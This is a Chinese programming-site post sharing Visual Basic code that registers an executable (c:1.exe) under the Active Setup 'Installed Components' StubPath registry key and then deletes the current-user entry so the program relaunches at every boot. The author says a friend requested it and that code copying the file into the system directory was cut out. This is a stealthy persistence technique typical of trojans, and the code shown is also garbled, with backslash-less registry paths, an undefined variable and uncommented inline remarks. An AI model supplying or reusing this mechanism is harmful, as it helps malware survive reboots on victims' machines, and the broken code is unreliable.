VB版Activex启动方式

页面导航:首页 > 软件编程 > vb.net > VB版Activex启动方式

VB版Activex启动方式

来源: 作者: 时间:2016-01-21 10:23 【

Private Declare Function SHGetPathFromIDList Lib "Shell32" Alias "SHGetPathFromIDListA" (ByVal pidl As Long, ByVal szPath As String) As LongPrivate Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirec

Private Declare Function SHGetPathFromIDList Lib "Shell32" Alias "SHGetPathFromIDListA" (ByVal pidl As Long, ByVal szPath As String) As Long
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
Const MAX_LEN = 200 字符串最大长度
Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
   Const HKEY_CLASSES_ROOT = &H80000000
Const HKEY_CURRENT_USER = &H80000001
Const HKEY_USERS = &H80000003
模块

Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

主程序
MsgBox "我就是测试N次重启 可以运行不?"
Dim WshShell As Object
Dim exetemp As String
Dim c
c = "c:1.exe"
stubpath1 = c
Set WshShell = CreateObject("wscript.shell")
Dim szDestFath
WshShell.regwrite "HKEY_LOCAL_MACHINESOFTWAREMicrosoftActive SetupInstalled Components{880D8DB8-AD25-11D0-98A8-0800361B1175}", "自定义组建"
WshShell.regwrite "HKEY_LOCAL_MACHINESOFTWAREMicrosoftActive SetupInstalled Components{880D8DB8-AD25-11D0-98A8-0800361B1175}stubpath", stubpath1 加入到注册表,开机运行
加载ActiveX启动
On Error Resume Next
Dim a
a = "c:1.exe"
Fh8 = RegOpenKey(HKEY_LOCAL_MACHINE, "SOFTWAREMicrosoftActive SetupInstalled Components{880D8DB8-AD25-11D0-98A8-0800361B1175}", Bjb)
Fh8 = RegSetValueEx(Bjb, "stubpath", 0, REG_SZ, ByVal b, Len(b))
Fh8 = RegCloseKey(Bjb)
删除user启动信息 , 防止只运行一次
Dim WshShell1 As Object
Dim exetemp As String
Set Wsh1Shell = CreateObject("wscript.shell")
stubpath = b
Wsh1Shell.RegDelete "HKEY_CURRENT_USERSOFTWAREMicrosoftActive SetupInstalled Components{880D8DB8-AD25-11D0-98A8-0800361B1175}"

End
End Sub

昨天晚上朋友让我给他写个VB版的Acivex启动方式
写出来后 还得拷贝到系统目录
这个是我才删除掉拷贝系统目录的代码
在WINXP SP3环境 反复重启测试成功 如果有不足的地方 请自己修改   毕竟是刚才把目录拷贝的代码删除 所以比较乱,早知道昨天晚上就发出来好了

Tags:

相关文章

    文章评论

    最 近 更 新
    热 点 排 行
    Js与CSS工具
    代码转换工具
    
    <